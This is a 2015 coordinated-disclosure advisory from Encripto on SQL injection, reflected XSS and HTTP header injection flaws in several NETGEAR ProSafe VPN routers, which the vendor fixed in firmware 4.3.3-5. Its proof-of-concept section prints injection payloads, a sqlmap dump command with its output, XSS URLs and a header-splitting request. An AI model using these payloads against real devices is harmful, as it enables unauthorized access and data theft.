



## **Security Advisory**

# **NETGEAR® ProSafe®**

**25<sup>th</sup> of June 2015**

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## About Encripto AS

Encripto is a Norwegian company which provides specialized services within IT-security. Our core expertise is security testing, network security monitoring and training.

Encripto is committed to information security. We do research to discover trends, new vulnerabilities and better ways to mitigate them. We believe in acting as good internet citizens to the industry, whether you are a provider or a user.

You can read more about us at <http://www.encripto.no>

## Timeline and revision history

- **25<sup>th</sup> of June 2015**  
The vendor releases firmware version 4.3.3-5, which fixes the vulnerabilities.  
Public disclosure of the security advisory.
- **3<sup>rd</sup> of April 2015**  
The vendor confirms the presence of the vulnerabilities and provides a provisional list with vulnerable products and firmware versions.
- **31<sup>st</sup> of March 2015**  
New attempt to contact the vendor is made.  
The vendor acknowledges the case and proceeds to verify the findings.
- **20<sup>th</sup> of March 2015**  
New vulnerabilities were discovered. Advisory update.
- **19<sup>th</sup> of March 2015**  
Vulnerabilities discovered by the researcher and details shared with the vendor.

## Disclaimer

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## 1. Background

According to the vendor, NETGEAR® ProSafe® business-class VPN Firewalls are high performing routers that provide full secure network access between headquarter locations, remote/branch offices and remote workers.

## 2. Summary

Multiple NETGEAR® ProSafe® routers, running firmware version 4.3.2-7 and 4.3.3-3, are affected by SQL and HTTP header injection, and multiple Reflected Cross-Site Scripting vulnerabilities.

## 3. Affected Products

The following table gathers the list of vulnerable products with their respective firmware versions.

Product	Firmware versions
NETGEAR® ProSafe® SRX5308	4.3.2-7 and 4.3.3-3
NETGEAR® ProSafe® FVS336Gv3	4.3.2-7 and 4.3.3-3
NETGEAR® ProSafe® FVS336Gv2	4.3.2-7 and 4.3.3-3
NETGEAR® ProSafe® FVS318N	4.3.2-7 and 4.3.3-3

Previous versions of the firmware could also be affected, but this has not been verified.

## 4. Vulnerabilities and Proof of Concept (PoC)

The following PoCs will assume that the vulnerable device is using a standard configuration, and it can be found at <https://192.168.1.1>

- **SQL Injection vulnerability**

The parameter “portal” of the SSL VPN web application is affected by SQL injection. This could allow an attacker to interact with the Sqlite database supporting the device.

Sending the following payloads as portal values resulted in different responses:

```
SSL-VPN47034719'%20or%20'5358'%3d'5358
```

```
SSL-VPN47034719'%20or%20'5358'%3d'5359
```

The vulnerability could be exploited with automated tools, such as SQLmap.

The following GET request may be used as a base.

```
GET /scgi-bin/platform.cgi?page=portalLogin.htm&portal=SSL-VPN HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0
Iceweasel/31.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
```

**Command example:**

```
python sqlmap.py -r sqli.txt -p portal --threads 5 --dump --force-ssl --dbms=sqlite
```

[...OUTPUT SUPPRESSED...]

```
[13:51:01] [INFO] GET parameter 'portal' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="NETGEAR ProSafe&#8482; - SSL-VPN")
```

[...OUTPUT SUPPRESSED...]

```
GET parameter 'portal' is vulnerable. Do you want to keep testing the others (if any)?
```

```
[y/N]
```

```
sqlmap identified the following injection points with a total of 39 HTTP(s) requests:
```

```
---
```

```
Parameter: portal (GET)
```

```
  Type: boolean-based blind
```

```
  Title: AND boolean-based blind - WHERE or HAVING clause
```

```
  Payload: page=portalLogin.htm&portal=SSL-VPN' AND 7037=7037 AND 'iBib'='iBib
```

```
---
```

```
[13:51:12] [INFO] the back-end DBMS is SQLite
```

```
back-end DBMS: SQLite
```

As an example, the database structure and its contents could be retrieved.

```
Database: SQLite_masterdb
```

```
[238 tables]
```

```
+-----+
| AlgConf
| AttackChecks
| AttackChecks6
| AvailableLanHost
| BandwidthProfile
| BandwidthProfileSpeed
| BandwidthProfileStatus
| BlockSites
| BwMonStat
+-----+
```

[...OUTPUT SUPPRESSED...]

In addition to the “portal” parameter, the “USERDBDomains.Domainname” and “USERDBUsers.UserName” of the “/scgi-bin/platform.cgi” page presented a similar behavior.

- **Multiple Reflected Cross-Site Scripting (XSS) vulnerabilities**

The “portal”, “Login.PortalName” and “stuMsg” parameters of the SSL VPN web application are affected by Reflected XSS.

The “Login.PortalName” is originally a POST parameter that can be provided via GET as well.

The following links should document the case. A simple JavaScript payload has been used in these examples:

```
https://192.168.1.1/scgi-bin/platform.cgi?page=portalLogin.htm&portal=SSL-VPN"><script>alert("XSS")</script>
```

```
https://192.168.1.1/scgi-bin/platform.cgi?thispage=portalLogin.htm&Login.PortalName=SSL-VPN"><script>alert("XSS")<%2fscript>&USERDBUsers.UserName=test&USERDBUsers.Password=test&USERDBDomains.Domainname=geardomain&button.login.router_status=Login&Login.userAgent=Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A31.0%29+Gecko%2F20100101+Firefox%2F31.0+Iceweasel%2F31.5.0
```

```
https://192.168.1.1/scgi-bin/platform.cgi?page=portalLogin.htm&portal=SSL-VPN&stuMsg=Userreb<script>alert("XSS")<%2fscript>
```

- **HTTP header injection vulnerability**

The “Login.PortalName” of the SSL VPN web application is affected by HTTP header injection. This could be leveraged by an attacker in order to split HTTP responses or inject new headers.

The following request demonstrates the issue when submitting the payload in a GET request. The same results could be achieved with a POST request.

```
GET /scgi-bin/platform.cgi?thispage=portalLogin.htm&Login.PortalName=c9b54%0d%New-  
header:+8897%0d%0a&USERDBUsers.UserName=test&USERDBUsers.Password=test&USERDBDomains.Dom  
ainname=geardomain&button.login.router_status=Login&Login.userAgent=Mozilla%2F5.0+%28X11  
%3B+Linux+x86_64%3B+rv%3A31.0%29+Gecko%2F20100101+Firefox%2F31.0+Iceweasel%2F31.5.0  
HTTP/1.1  
Host: 192.168.1.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0  
Iceweasel/31.5.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://192.168.1.1/scgi-bin/platform.cgi?page=portalLogin.htm&portal=SSL-VPN  
Connection: keep-alive
```

```
HTTP/1.0 302 Moved Temporarily  
Date: Thu, 31 Jan 2013 06:31:50 GMT  
Server: Embedded HTTP Server.  
Connection: close  
Content-Type: text/html; charset=ISO-8859-1  
Location: https://192.168.1.1:443/scgi-  
bin/platform.cgi?page=portalLogin.htm&portal=c9b54  
New-header: 8897  
&stuMsg=SSLVPN User authentication Failed. Use the correct SSL portal URL to login.
```

## 5. Remediation

The vendor has released firmware version 4.3.3-5, which fixes the issues. Encrypto encourages product owners to upgrade to this version as soon as possible.

## 6. Credit

The vulnerabilities were discovered by Juan J. Güelfo at Encrypto AS.

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For more information about Encrypto’s research policy, please visit <http://www.encrypto.no/forskning/>

## 7. Special Thanks

Special thanks to Maarten Hoogcarspel from the Netgear support team for his quick response and professional case handling.